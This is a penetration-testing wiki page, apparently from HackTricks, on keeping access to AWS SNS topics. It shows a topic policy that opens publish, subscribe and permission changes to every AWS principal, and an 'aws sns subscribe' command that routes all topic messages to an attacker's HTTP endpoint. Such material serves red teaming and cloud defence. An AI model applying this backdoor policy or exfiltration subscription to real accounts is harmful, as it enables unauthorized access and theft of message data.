# AWS - SNS Persistence {{#include ../../../banners/hacktricks-training.md}} ## SNS For more information check: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} ### Persistence When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: ```json { "Version": "2008-10-17", "Id": "__default_policy_ID", "Statement": [ { "Sid": "__default_statement_ID", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "SNS:Publish", "SNS:RemovePermission", "SNS:SetTopicAttributes", "SNS:DeleteTopic", "SNS:ListSubscriptionsByTopic", "SNS:GetTopicAttributes", "SNS:AddPermission", "SNS:Subscribe" ], "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", "Condition": { "StringEquals": { "AWS:SourceOwner": "318142138553" } } }, { "Sid": "__console_pub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Publish", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" }, { "Sid": "__console_sub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Subscribe", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" } ] } ``` ### Create Subscribers To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. ```bash aws sns subscribe --region \ --protocol http \ --notification-endpoint http:/// \ --topic-arn ``` {{#include ../../../banners/hacktricks-training.md}}